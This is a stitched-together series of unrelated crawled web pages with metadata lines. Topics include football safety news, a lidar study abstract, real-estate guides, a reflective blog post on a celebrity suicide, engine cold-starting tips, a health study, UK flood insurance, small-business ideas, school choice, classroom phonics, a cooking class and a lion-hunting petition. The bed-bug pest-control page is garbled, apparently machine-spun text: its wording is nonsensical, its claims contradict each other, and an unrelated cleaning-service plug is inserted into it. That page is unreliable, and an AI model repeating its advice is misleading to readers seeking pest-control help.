Fomic Mat Numbers-Large Videos | <urn:uuid:3ea33e84-e375-4a24-b475-3d551e736197> | CC-MAIN-2022-33 | https://www.megashop.com.pk/index.php?/fomic-mat-numbers-large.html | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.887692 | 231 | 2.203125 | 2 |
Friday's health and safety news from the world of football:
- A New York lawmaker has proposed a ban on youth tackle football for kids below the age of 14, the Albany Times Union reported.
- The Charlotte Observer wrote about UNC-Chapel Hill's Medical Center and its involvement in the NFLPA's recently announced health care program for retired players.
- WCSH-TV in Portland, Maine, looked at the concussion awareness efforts as part of the state's head injury law.
- KLTV-TV reported on the ImPACT concussion test and how it will help student athletes in Tyler, Texas.
- KQCW-TV in Tulsa, Okla., reported on a Tulsa company which received FDA approval on a concussion-diagnosing app.
-- Bill Bradley, contributing editor | <urn:uuid:d22cae33-d454-403e-ad4c-7db382f15b9a> | CC-MAIN-2022-33 | https://www.nfl.com/news/san-francisco-49ers-eric-reid-might-change-his-tackling-style-0ap2000000281881 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.946283 | 163 | 1.796875 | 2 |
Potential of airborne lidar measurements for cirrus cloud studies
- 1Institut für Physik der Atmosphäre, Deutsches Zentrum für Luft- und Raumfahrt (DLR), Oberpfaffenhofen, 82234 Wessling, Germany
- 2Johannes-Gutenberg-Universität Mainz, Institut für Physik der Atmosphäre, 55122 Mainz, Germany
Abstract. Aerosol and water vapour measurements were performed with the lidar system WALES of Deutsches Zentrum für Luft- und Raumfahrt (DLR) in October and November 2010 during the first mission with the new German research aircraft G55-HALO. Curtains composed of lidar profiles beneath the aircraft show the vertical and horizontal distribution and variability of water vapour mixing ratio and backscatter ratio above Germany. Two missions on 3 and 4 November 2010 were selected to derive the water vapour mixing ratio inside cirrus clouds from the lidar instrument. A good agreement was found with in situ observations performed on a second research aircraft flying below HALO. ECMWF analysis temperature data are used to derive relative humidity fields with respect to ice (RHi) inside and outside of cirrus clouds from the lidar water vapour observations. The RHi variability is dominated by small-scale fluctuations in the water vapour fields while the temperature variation has a minor impact. The most frequent in-cloud RHi value from lidar observations is 98%. The RHi variance is smaller inside the cirrus than outside of the cloud. 2-D histograms of relative humidity and backscatter ratio show significant differences for in-cloud and out-of-cloud situations for two different cirrus cloud regimes. Combined with accurate temperature measurements, the lidar observations have a great potential for detailed statistical cirrus cloud and related humidity studies. | <urn:uuid:7749bd05-3303-40e7-b09a-faf219877d90> | CC-MAIN-2022-33 | https://amt.copernicus.org/articles/7/2745/2014/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.811505 | 406 | 2.25 | 2 |
Investing in residential real estate and navigating the property market can be challenging – especially without prior knowledge of the potential pitfalls. Our books are designed to help you make smart decisions when it comes to real estate and property.
Written by Johnson Real Estate’s Managing Director Andrew Trim, Real Estate Dangers And How To Avoid Them is a guide to making smarter decisions as a buyer, seller and landlord. By shining a light on the flawed and unnecessary aspects of the real estate industry, this book will help you make smarter decisions based on knowledge rather than “advice,” saving you time, money and headache.
Real Estate’s Greatest Dangers gives insight into some of the things that you should be aware of in regards to property and real estate, including:
- The value of hiring the right agent for your property
- The impact of property presentation on market price
- The heart buyer and the dangers of rejecting early offers
- The two lies of the real estate industry
An understanding of the topics covered in this book will help you avoid some of the potential dangers of buying, selling or investing in property.
Landlord 101 is designed to give simple, hard-won lessons about being a landlord without the technicalities. Its purpose is to help potential and current landlords avoid many of the pitfalls that can turn the joy of owning an investment property into a nightmare investment that consumes both time and money.
For a full FREE copy of Real Estate’s Greatest Dangers or Landlord 101, please fill out the form below or contact Benchmark National on 9822 4333. | <urn:uuid:ae81a241-8208-4a7a-8cca-8241cd48ea1c> | CC-MAIN-2022-33 | https://www.benchmarknational.com.au/information-books | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.90319 | 325 | 1.765625 | 2 |
In case you missed the recent news, fashion designer extraordinaire Kate Spade was found dead after an apparent suicide. All the feels came over me today when reading about this great loss. But it also brought up the fact that just because it may seem like everything is okay on the outside doesn’t mean that’s the case internally. And it goes to show, just because you have money and are successful doesn’t mean you’re happy. Life is hard, for everyone. No matter how many material possessions we have, no thing can bring us true joy. Happiness is fleeting, and so are material possessions, but joy is eternal. And we must find this joy within us.
My heart and thoughts go out to Kate Spade’s family and friends though. None of them wanted her to end her life. All they wanted was for her to be happy and feel loved. I can’t imagine what they’re going through. My prayer is for them to find comfort in the middle of the storm that is death and suicide.
So many are quick to say suicide is selfish. And while it can be seen that way since those who commit suicide don’t think about anyone else other than themselves. It can also be seen in a different way. Perhaps if they were more selfish, they would’ve sought out help from others. Life is hard, and it’s not meant to be done alone. We have to rely on other people, but even people will let us down. Finding a source of joy beyond the physical world around us is key. I look towards God who gave us Jesus, his only son, to die for our sins so that we can have eternal life and joy in Him.
What helps you find joy and happiness in your everyday? | <urn:uuid:9a79746f-f9b9-4a2b-b6bb-d84606338463> | CC-MAIN-2022-33 | https://jenlbrice.wordpress.com/2018/06/06/kate-spade-and-the-unspoken-truth/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.975608 | 372 | 1.5 | 2 |
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Starting in Extreme Cold
Certain preparations must be made to enable engine starting in extreme cold, and in some cases to make starting possible at all:
• Use a winter grade fuel (of a well-known make) that is approved for the prevailing temperature. This reduces the risk of paraffin wax precipitation in the fuel system. At extremely low temperatures, we rec- ommend the use of a fuel heater.
• Use a synthetic engine oil of a viscosity recom- mended for the prevailing temperature to achieve satisfactory lubrication. Refer to
Viscosity page 76. Synthetic lubricants are able to handle a wider temperature range than mineral- based lubricants.
• Pre-heat the coolant with a separately-installed electric engine heater. In extreme cases, a diesel- fired engine heater may be necessary. Ask your Volvo Penta dealer for advice.
• Make sure the cooling system is filled with a glycol mixture. Refer to Maintenance page 60.
• The batteries must be in good condition. Cold weather reduces battery capacity. Increased battery capacity may be necessary. | <urn:uuid:5847683e-803b-4ee6-9565-23a8fcbf176e> | CC-MAIN-2022-33 | https://library.parsianind.com/heading-47706337_US-91.htm | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.853349 | 237 | 2.53125 | 3 |
Depression, Anxiety May Take Toll on Health as Much as Smoking, Obesity
While there is a growing awareness in India about the importance of mental health in overall well-being, it is still not a mainstream medical consideration that gets evaluated by general practitioners as part of their general health checkups. Perhaps it should: depression and anxiety are specifically linked to higher rates of heart disease and other health problems. A new study, published in the journal Health Psychology, specifically tied anxiety and depression to a series of seemingly unrelated diseases, and concluded that anxiety and depression are risk factors as serious as smoking and obesity.
Andrea Niles, PhD, and senior author Aoife O’Donovan, PhD, of the UCSF Department of Psychiatry and the San Francisco VA Medical Center, looked at the health data of more than 15,000 older adults over a four-year period; most symptoms were self-reported, and depsression and anxiety symptoms were evaluated during interviews. Anxiety and depression were leading predictors of consditions such as heart disease, high blood pressure, arthritis, headaches, back pain and stomach upset, on par with the effects of other, more known risk factors like smoking and obesity.
Participants with high levels of anxiety and depression were found to face 65 percent increased odds for a heart condition, 64 percent for stroke, 50 percent for high blood pressure and 87 for arthritis, compared to those without anxiety and depression.
Niles and O’Donovan discovered that symptoms such as headache, stomach upset, back pain and shortness of breath increased exponentially in association with high stress and depression. Odds for headache, for example, were 161 percent higher in this group, compared with no increase among the participants who were obese and smokers.
“Anxiety and depression symptoms are strongly linked to poor physical health, yet these conditions continue to receive limited attention in primary care settings, compared to smoking and obesity,” Niles said. “To our knowledge this is the first study that directly compared anxiety and depression to obesity and smoking as prospective risk factors for disease onset in long-term studies.”
Unlike the other conditions investigated, the authors found that high levels of depression and anxiety were not associated with cancer incidence. “Our findings are in line with a lot of other studies showing that psychological distress is not a strong predictor of many types of cancer,” O’Donovan said. “On top of highlighting that mental health matters for a whole host of medical illnesses, it is important that we promote these null findings. We need to stop attributing cancer diagnoses to histories of stress, depression and anxiety.”
The study is an important reminder that mental health is an integral part of overall health, and that failure to address mental health issues can have severe repercussions for physical well-being. | <urn:uuid:4a503064-e712-418b-b1f9-7fde2b00236e> | CC-MAIN-2022-33 | https://theswaddle.com/depression-anxiety-may-take-toll-on-health-as-much-as-smoking-obesity/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.96362 | 576 | 2.4375 | 2 |
The wettest winter on record has taken its toll on the insurance industry. With claims set to exceed £1bn, 2013/2014 represents a new low for the stereotypically poor British weather.
As 1,500 families remain exiled from their homes, the impact on communities has been enormous, and insurers must continue to provide as much support to those in need as possible.
The appalling weather conditions have not only been a British phenomenon. Germany has also been affected particularly badly, with flooding in July estimated to cost European insurers around €1.3bn. Headlines were also grabbed throughout north-western Europe by the ‘St Jude’ storm on 27-28th October, which battered the mainland, causing yet more damage.
Whilst Britain was fortunate to emerge without bearing the brunt, the insurance bill for that storm was still estimated to be around £130m.
Britain’s infrastructure was wholly unprepared for the flooding experienced in February, which contributed to the enormous bill.
The scale of the flooding also came as a shock to insurers, particularly following a relatively calm 2013, with low levels of household insurance claims. This year saw the industry inundated with over 18,000 claims in February alone.
Despite the ever-rising costs, both the government and insurance industry are in agreement that residential property owners (in the most part) living in flood risk zones should not be punished with unaffordable insurance premiums for events beyond their control.
With the 2000 Flood Insurance Statement of Principles considered to be unsustainable, a new approach was required to safeguard affordable and widely available flood insurance in the UK. As a result, the Flood Re scheme was devised during the summer of 2013.
The industry has continued in the meantime to demonstrate its goodwill towards those at risk of flooding, honouring the Statement of Principles despite its expiration in July 2013. Insurers have also agreed to maintain this until the introduction of Flood Re, scheduled to be in place from the summer of 2015.
Designed to be a not-for-profit reinsurance scheme, Flood Re will allow insurers to transfer the premium they receive for the flood risk part of home insurance policies to Flood Re. In return, Flood Re will reimburse insurers for flood claims paid by insurers to customers.
Aiming to provide a long term solution, the insurance industry is committed to getting this scheme off the ground. An additional levy on all home insurance customers, estimated to be an average of £10.50 per house, will make up the difference.
So how will this new scheme aid those most in need? Covering up to 500,000 households designated as high risk of flooding by the Environment Agency, the scheme promises to cap the flood aspect of a property’s buildings insurance.
Bands A and B will pay a maximum of £210 a year, rising to £540 a year for band G, ensuring that those most at risk financially from further natural disasters avoid the additional penalty of increased premiums.
However, the scheme has not been universally welcomed, with critics suggesting that there have been some significant exclusions.
New-builds since 1 January 2009 are exempt, as are leaseholders, renters and buy-to-let landlords. After further controversy and press coverage surrounding the exclusion of the most expensive ‘at risk’ properties, the government has recently announced a rethink on the 3,800 houses currently in council tax bracket H.
Critics also point to a range of more complex issues that will affect consumers. Such areas of confusion include the eventuality that flooding occurs between exchange of contract.
If a buyer attempted to pull out of a deal for a flooded property, they would lose their deposit and would also incur other costs from the seller.
What can brokers do to help? To begin with, brokers will need to be aware of the changes to the flood aspect of home cover, and fully understand what it is they are able to offer to customers. Flood Re offers a significant opportunity for brokers to educate the consumer on the new regulations, and explain where they would fit into the new spectrum.
With the enormous amount of press coverage on February’s floods, there will be many that are interested in the cover available to them and brokers must be able to offer them appropriate and comprehensive advice.
Flood Re will offer some of Britain’s most at risk homeowners peace of mind, and with the industry’s backing, it seems set to be a topical item for many years to come. | <urn:uuid:91b42be1-2e3b-4b24-a56c-78b33dfc533d> | CC-MAIN-2022-33 | https://www.mpamag.com/uk/news/general/special-feature-flood-re-effects-on-home-insurance/332676 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573104.24/warc/CC-MAIN-20220817183340-20220817213340-00473.warc.gz | en | 0.971421 | 908 | 1.78125 | 2 |
A possible recession has been on the minds of many small businesses and entrepreneurs throughout the United States. Analysts are uncertain, though, if or when a recession will begin.
According to a recent poll conducted in 2022, 70% of the 49 economists polled believe that a recession will happen in 2023. The Financial Times and the University of Chicago’s Booth School of Business conducted the study.
Thankfully, not all industries have to worry about a recession. Even if one does happen, certain businesses will continue to thrive since they are essential. Interestingly, some companies do well when consumers cut back on spending, especially if they are choosing a competitively priced service or product.
So, what industries should you consider? Listed below are ten small business ideas that can withstand the rocky conditions surrounding a recession.
Accounting is not going anywhere. Even with economic downfalls, Americans still have to pay taxes, including small businesses. Sometimes, the government will also increase grants and other financial programs for in-need Americans that accountants understand and can assist in completing.
Possibly the most recession-proof industry has to be healthcare. Without healthcare services and health insurance, everything in an economy and society falls apart. Healthcare providers have nothing to worry about, even amid a recession.
Thankfully, many hospitals and offices provide financial relief covered by grants and charities for those who cannot pay the steep bills.
|Related: How Atlanta-Based Clean Hands-Safe Hands is Using Data to Track Hygiene in the Healthcare System|
Consumers need to eat; however, during a recession, many consumers take significant pay cuts and cannot afford to eat extravagant dinners. Instead, consumers run to grocery stores to stretch their dollars as much as possible. Grocery stores and distributors have an advantage over restaurants and quick food spots.
Beer, Wine, and Liquor
There is a massive demand for beer, wine, and liquor that does not decrease during a recession. If you are going to go into the beer, wine, and liquor industry, it is good to have a variety of alcohol ready.
Not all alcohol is recession-proof. During the 2008 recession, we saw wine and beer sales tank, while liquor increased substantially.
|Related: Anderby Brewing: Meet Atlanta’s Newest Brewer on the [Tech] Block – Michell & Preston Smelt, Co-Founders|
Money runs tight during a recession, but consumers still need to purchase essentials for their homes and lives, including clothing. Bargain and cheap stores are nearly recession-proof since they are the first place people turn to when they are tight on funds.
Pet care/Pet products
While spending does take a hit during the recession, pet care and pet products that are essential for pet owners do not shift; instead, this industry is considered recession-proof. Pets are beloved family members and loved ones for many consumers.
|Related: The Importance of Building Connections in Business with Amanda Yu-Nguyen, Founder of Barkuterie Boards|
Renovations tend to stop during a recession, but home repairs are still necessary. Just because a recession begins in the country, does not mean that life stops. Instead, bursting pipes and air conditioning trouble can require handypersons and other tradespeople’s services. If you can provide home services at unbeatable or competitive prices, your business has a chance of surviving the recession.
|Related: How Joseph Lambert Built His Million-Dollar Junk Removal Business at Just 20 Years Old|
Small and large businesses cut back on expenses during a recession, but project management tools and managers are increased. Project management tools are especially needed as they are affordable and easy to use online. Many people begin working from home, or their hours are cut, requiring a new and improved scheduling service.
Even as a recession hits and consumer spending decreases, childcare and child products are still needed. Children go rapidly and constantly need new clothes, diapers, food, and toys to stimulate their minds.
Beauty services (Hair, makeup, skin)
Beauty services are almost entirely recession-proof. Many people in the world care about what they look like and want to keep up appearances. Beauty services do not just include beauticians, though, but beauty products. If you can invest in beauty products like hair dye, makeup, and healthy skin products, you have a chance of surviving the harsh economic conditions of a recession.
|Related: A Look Inside Taliah Waajid’s Journey to Building a Hair Care Empire|
The Atlanta Small Business Network, from start-up to success, we are your go-to resource for small business news, expert advice, information, and event coverage.
While you’re here, don’t forget to subscribe to our email newsletter for all the latest business news know-how from Atlanta Small Business Network. | <urn:uuid:aa466189-c31a-4373-96b4-0c5873f18be2> | CC-MAIN-2022-33 | https://www.myasbn.com/small-business/entrepreneurship/10-small-business-ideas-that-thrive-during-a-recession/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.953027 | 1,025 | 1.710938 | 2 |
Gary R. Gruber
As parents, you have more school choices available now than at any time in recent history. There are traditional public schools, usually part of a larger district that range from very large urban districts, to smaller and more affluent suburban districts to rural districts with only one, two or three schools. There are charter schools, public schools of choice, entry to which is often by lottery.
There are magnet schools, pilot schools, alternative schools, and special needs schools. There are non-profit, independent schools, funded largely by tuition; faith-based schools which comprise the majority of private schools; proprietary, for-profit schools owned and managed by an individual or a larger corporation.
The challenge is how to make an informed choice that includes the age and stage of your child and his or her specific needs and interests. It is reasonable to expect that most children have the capacity to develop the skills and to acquire an education that will help them be productive members of a community as well as a happy and successful individual. It is also incumbent upon parents to zero in on your child’s strengths and capitalize on those to help develop the hidden talents that exist within every child.
The educational journey needs to have a vision that extends beyond one year or even four years and includes many experiences beyond the walls of a school. Parents do not need to be too concerned about short-term effects because learning is cumulative over time and education is a process, not an event.
What most parents seem to want, regardless of where they live or their socio-economic status is exemplified by a quote from a film, fourteen years in the making. American Promise, by Michele Stephenson and Joe Brewster, documents their son’s and his best friend’s educational experiences at an elite private school in New York City:
“…parents want their children to acquire a sense of self-esteem and self-determination. And every permutation of the academic experience (single sex/coed, public/private/charter, racially diverse and downtown, or socioeconomically stratified uptown) is presented as some grand experiment that might reveal ‘The Solution’ to growing exceptional children, as if such a thing exists.”
As parents you want your children to be motivated, to be engaged in meaningful learning experiences and to have solid relationships with their teachers that are positive, supportive and inspiring. You want your children to be able to relate successfully to other children who may come from different backgrounds as this is what they will encounter in the larger world. Perhaps most of all, you want your children to believe in themselves and their self-worth such that they know they are capable of being successful in whatever they choose to do. They will need this sense of themselves as they take on more and more responsibility for their own choices and their future life and work.
Happy are those parents whose children look forward to going to school every day and being immersed in learning and in those things that most schools want them to learn. Some of the stated priorities from good schools include critical thinking, problem solving, self-expression, creativity and a continuing curiosity about the world and themselves. Many schools also emphasize the importance of being a compassionate, good citizen both in the school community and the larger neighborhood.
What is important is to find a school and a program that fits the child and his or her needs. Instead of fitting the child to the school, think about fitting the school to the child. Too much of the “one size fits all” approach has resulted in students losing interest in learning, and they become bored, frustrated and disappointed with their school experiences. That is not a good formula for being happy or for a successful academic experience.
Here are three important considerations in choosing the right school:
- the individual child and his or her needs and interests;
- parents’ own expectations and values and how the school is or is not in accord with those;
- perhaps most important, the quality of the teachers and the culture of the school environment.
There is a process for evaluating each of these in some detail and there is help available for parents who want to know more about how to select the most appropriate school for a child. For more, see the book Your Child, Your Choice: Choosing the Right School for Your Child by Gary Gruber.
This blog is part of our Smart Parents series in partnership with the Nellie Mae Education Foundation. For more information about the project, see Parents, Tell Your Story: How You Empower Student Learning as well as other blogs:
- Learning Plans: The What, When, Why and How to Do Them Well
- Learning is Personal for Your Child
- Smart Parents are Involved, Informed, Intentional, and Inspirational
Gary Gruber is a lifelong learner, educator, and consultant to schools in transition. Follow him on Twitter, @GaryGruber. | <urn:uuid:6e54b11b-bf43-4e1e-a295-4a477f48b06f> | CC-MAIN-2022-33 | https://www.gettingsmart.com/2015/06/28/your-child-your-choice-finding-the-right-school-for-your-child/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.975602 | 1,006 | 2.796875 | 3 |
Bed bugs are little bugs with taxonomic name Cimex lectularius. Through the years, these bugs are thought of definitely acknowledged bugs in many nations, be it in the United States, in Asian nations, in Europe and even in Africa.
When seen from the top (by the strategy, you would pass to take an appearance at them at any other angle, for sure), bed bugs appear like flattened animals. They are so bit, that an individual can barely see and take an appearance at them, not unless they are helped by improving lenses or glasses.
You have your own understanding and viewpoint linking to how bed bugs appear like. Nevertheless in needed, as seen in images printed all over text books, publications and even online through the Web, bed bugs absolutely resemble their closest relative– termites.
Bed bugs are winding up being insect issues in wonderful offers of countries. Especially in Georgia, bed bugs are winding up being an in truth rapidly residing in bug.
There are a handful of treatments or techniques to get rid of bed bugs in Georgia. The needed technique is to tape them one by one, and effort to ground them out. That would remove them, nonetheless it will bore, gross, and will absolutely attempt your alternative.
Certainly, utilizing insecticides or pesticides to affected places can be an amazing and count on method. Nonetheless doing so would posture a great deal of threats, to your health, and to the health of everybody in your house. There are laws in Georgia that will prevent you from doing so quickly.
To be sure, no human can be removed in addition to the bed bugs, it would be a great concept to browse for assistance of a specialist and rely on bug control service.
Insect control service in Georgia understand hoe to walk off bed bugs far better. These Georgian business likewise understood how to efficiently get rid of bed bugs.
The straight-out finest, vital and impressive deals of investing strategy friendly technique to eliminate bed bugs is by browsing for expert cleansing service Johannesburg and Cape Town help from people who understand far better.
The action can be thought about the least pricey. You may require to pay a little amount for the services of these Georgia-based bug control service.
You will likewise lower expenditures for creams or anti-itching medications that would be required to reduce your discomfort due to bed bugs’ bites.
There a handful of bug control professionals in Georgia. For sure you can rapidly find one through the ads, through the yellow pages or directory site website sites or through amazing fantastic pals’ principles. < When requesting for bug control professionals' help, service warranty to dedicate your needed cooperation. The effort will be inadequate and inutile if you will not acknowledge a series of proposed actions that would make particular the achievement of your goal to eliminate bed bugs.
Alert your housemates, house and even your close-by next-door neighbors about your method to make usage of recognized insect bug control operators ahead of time. That would be a moderate and civilized gesture if you do that. < Much of all, the success of the effort to get the cleaning companycount on your own hands. Observe health and cleanliness to avoid any comparable issue from re-occuring.
Health is needed to prevent bed bugs problem. Tidiness would be of impressive assistance. Certainly, bugs like bed bugs do not like cool and cool environments, for a start.
Make particular to understand that you may be a service of bed bugs if you take a journey a lot. No, they would not grow inside you or remembered kept in mind listed below your particular parts.
Your travel luggage and the clothing you use would in some technique wind up being a terrific breeding location and taking a journey medium for the preventing bug.
Warranty the area you stay in is certainly bug-free. When going home from a journey, it would also be a remarkable idea if you go to the laundry shop and have your travel luggage tidied up prior to taking it house. < The treatment would appear a little paranoid, nevertheless who cares? What is required is that you would not have another early morning, when you awaken asking yourself what bed bugs are. | <urn:uuid:02c867a2-5101-4ed8-a340-c938bcbf83ee> | CC-MAIN-2022-33 | https://myselfstorage.co.za/category/pest-control/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572304.13/warc/CC-MAIN-20220816120802-20220816150802-00473.warc.gz | en | 0.951522 | 848 | 2.359375 | 2 |
A superb and touching short film about change and difference. I first saw this on the blog of Karin Lisa Atkinson – http://changethelifechannel.blogspot.fr which is a great source of short films with a theme of peace and change running through it. So thanks to Lisa for finding this.
It has been a long week.
A week in which Nelson Mandela left us at a great age leaving an enormous legacy of how we can learn to live in truth, tolerance and pardon.
I’d just finished reading one of Tony Hillerman’s Navajo Tribal Police books “The Dark Wind” and was fascinated by the Navajo philosophy of “walk in beauty” which means to be balanced, in harmony with oneself and nature, a state of health in its broadest sense.
As I closed the book and switched on the evening news on BBC radio, I heard that Nelson Mandela had died. My first thought was “This was someone who walked in beauty”.
Sleep was a long time coming. There were many thoughts about death, life, my new grandson, tomorrow and its tasks. I needed to ground all that somehow.
So I read. Late into the night. “The Color Purple” by Alice Walker. In revisiting the story of Celie, Nettie, Shug, Mister, Sophia and Harpo something touched me. Common to all the events of the week. Death. Birth. Life. To be lived. To be grateful for its gifts.
Celie’s story says it all
” I’m pore, I’m black, I may be ugly and can’t cook, a voice say to everything listening. But I’m here. Amen say Shug. Amen, Amen.”
Well, I’m not poor like Celie or like millions of other people on this planet. I’m not black, although that should not make a difference. Whether I’m ugly or not or whether my dinners are edible or not, you’d have to ask other people – I’m biased. But I am here. And grateful.
Thank you, Nelson, for your life lived in beauty. | <urn:uuid:3666ac8e-cd4b-4827-8d5d-e83d0fc624db> | CC-MAIN-2022-33 | https://aflyingaspidistra.net/category/difference/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.959332 | 467 | 1.71875 | 2 |
I love diving into letters with a letter of the week.
I know many schools do not use a letter of the week anymore,
but my school district requires it as we use Recipe for Reading.
And honestly… it ins’t a bad thing at all!
So let’s dive into the Letter Gg Ideas to make this letter meaningful.
I do not just focus on one letter all week long.
Instead I focus on that letter, its formation and sound, and how to use it with other letters.
I simply add on, build, and elaborate on our phonics knowledge.
On Monday we pulled out the gel bags for sensory phonics for the first time this year.
(You can read how to create these here.)
We use sand trays and many other sensory experiences so these gel bags
are just another FUN way to make a sensory connection to muscle memory.
We want the lesson be engaging and memorable.
And of course they LOVE it.
I also strive to use a letter identification sheet regularly.
I use these on Mondays to see who can differentiate between similar letters easily.
I already know from assessments who knows their letters,
but what about when these little learners are shown very similar letter ?
These letters are a great help in letting them SEE which letters are similar.
Through the week, we complete phonics activities to guide our learning.
We again focus on using this letter and sound, not just on that one letter.
Well, this techie teacher always likes to step it up a notch!
So on Tuesday, I decided to break out the free app called Nearpod.
I took my phonics activities and uploaded them to this platform.
I give my students the code to log in, which is 5 digital long and a combination of letters and numbers.
Here is just one of our tables working with me whole group on this interactive activity.Don’t worry if you are not one to one on this.
I am not 1:1.
Since I am using a “worksheet” oh this,
I can let a small group of students complete this on an iPad and the other students can do this on an actual worksheet.
We complete phonics activities Tuesday, Wednesday, and Thursday.
We count syllables, tap out words, match words to their picture,
and so much more.
Then on Friday we chart our words.
I have tried to chart on Mondays but it tends to be quite painful and hard.
Well, but Friday we have read so many books like our Alphatales stories,
we have completed great sorts, and do so many themed hands on activities,
charting becomes FUN.
This week we placed a charting game.
I divided my class into groups of three, since we had three adults in the room at that time.
Later in the year I will allow students to led, but since this is the first time we have done this, I wanted it to be with adults.
each group is random, no ability grouping here.
Each group goes to a different part of the room and we whisper to write our Gg words.
My group was the red group so we wrote down all the words we could think of that started with a Gg.
And man did we do well!
Next all the groups stop writing and start to listen.
Each group gets to share ONE of their words at a time.
If any of the other groups have that word, everyone has to cross it off their list.
We keep going around and around.
Students are practicing reading their Gg words, listening to the other groups Gg words,
and trying to find it on their list. If no one has our word, we circle it.
The group with the most unique words, the ones that are circled, WIN.
How much fun is this!?
Honestly, this activity took about 30 minutes to play and my class of 24
were HIGHLY engaged and interested in this one!
The red group got 9 unique words.
The green group got 8 unique words.
And the orange group for 4 unique words.
So, yes, my group was the winning group.
One important thing to mention is…
the adults DO NOT help give them words, we just help them write these words down.
Additionally, when the students advance, THEY can man groups and write on their own.
Furthermore, I love getting my student activity engaged in learning. I know you will LOVE my weekly work centers and ideas all about the Gg sound as well.
You can click here to check out all of these ideas.
I create and prep 6 centers each and every week.
And many of these center around the Letter Gg as well.
Check out this bundle to see Letter Gg.
More so, my job to build on their letter abilities as well.
By Friday, we were rocking with our letter G activities.
In small groups, we worked on the gr blend.
We played this 20 questions gr blends game.
Here are my resources dedicated to the letter Gg. | <urn:uuid:4e0fce9e-ac98-468c-bbdb-8f36429d27b2> | CC-MAIN-2022-33 | https://sharingkindergarten.com/letter-gg-ideas-make-learning-fun/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.953749 | 1,069 | 2.9375 | 3 |
Pigs in a blanket mastered
First festival cooking class near full with 22 students
Participants in Master the Making got a twofer when they learned how to make pigs in a blanket and avoided busy downtown Holland on Wednesday, May 11.
The first of two classes had 22 chefs-in-training who all learned how to make the Dutch treat, got to have a taste and took a dozen home to bake.
This is the first time Tulip Time has offered a cooking class. A second session will be held at 3 p.m. on Thursday, May 12, at Careerline Tech Center. Registration is required.
The class replaces the festival’s pigs in a blanket cooking contest.
Sisters Ruth Essenburg, of Zeeland, and Floreen Horstmanshof, of Grandville, attended the class partially to avoid downtown Holland during the Volksparade on Wednesday afternoon, and partially to pick up a family tradition.
“I’ve never made them, but I’ve eaten them a lot,” Essenburg said. “I have a general idea.”
Horstmanshof said their mother, aunt and grandmother all made pigs in a blanket — each with their own unique recipe — but the art was lost on her and Essenburg.
The sisters grew up on a farm in Borculo, and pigs in a blanket were often made with a fresh pork, lard and baking powder.
“That made a big difference,” Essenburg said of the farm-to-table meat.
But the sisters followed a new recipe on Wednesday. It was the winner of the 2014 Tulip Time cooking contest — an original recipe by Anne Huizenga, which uses a hefty amount of butter.
The most challenging part of making the pastry is getting the dough just right.
Chef Joe Carmolli, an instructor at Careerline Tech Center, taught the class, and had these tips for making the dough:
— Cut the butter into big chunks
— Pack the dough “like a football”
— Don’t fully incorporate the butter — avoid squeezing it between your fingers
— You will need more water than what the recipe calls for — add a tiny bit at a time
— The dough should seem to barely hold together when it’s being rolled out
— Don’t put a lot of pressure on the dough when rolling
— “Be the boss of it” | <urn:uuid:d724fb71-c11d-4242-b6ce-866cccc2ab22> | CC-MAIN-2022-33 | https://www.hollandsentinel.com/story/entertainment/dining/2016/05/11/pigs-in-blanket-mastered/30337192007/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.956401 | 511 | 1.640625 | 2 |
Speak Up to Stop Canned Lion Hunts in South Africa!
9,835 signatures toward our 30,000 Goal
Sponsor: The Rainforest Site
Raising lions for captive hunting is a despicable practice. They are not trophies!
While the romanticized imagery of an African safari may swell some imaginations toward the adventurous, in reality, many modern chartered hunts are anything but.
Canned hunting, or captive hunting, can bring South African lion breeders up to $50,000 for a male lion . And while lions are protected under the Endangered Species Act in the United States wealthy foreigners are eager to pay that price in South Africa for a rare "trophy."
Global concern for endangered species is on the rise, and attitudes in South Africa are no different. Canned hunts are experiencing greater condemnation these days, according to CBS News .
"Most people think lions are terrifying creatures but in actual fact it's the lions who are terrified in a canned hunt," says Kevin Richardson, founder of a wildlife preserve an hour north east of Johannesburg and half an hour from Pretoria in the Welgedacht Private Game Reserve.
Richardson's work has led to the rescue of dozens of lions in South Africa, and he's not alone in the fight. The documentary, Blood Lions, focuses on the canned hunting industry, as well. According to National Geographic , the film was quickly requested in theaters in 185 countries and territories after its 2015 debut in Durban South Africa.
Campaigns to end canned hunts have since led to changes on a national level, with Australia banning the import of lion trophies in February 2015, and France 9 months later.
Even airlines are refusing to play along with this "sport." According to Canned Lion , IAG Cargo, Lufthansa, Brussels Airlines, Singapore Airlines, Emirates Airlines, Delta Air Lines, Qatar Airways Cargo, Canadian Jetlines, Virgin, BA and United, and American Airlines all refuse to transport hunting trophies acquired legally or illegally.
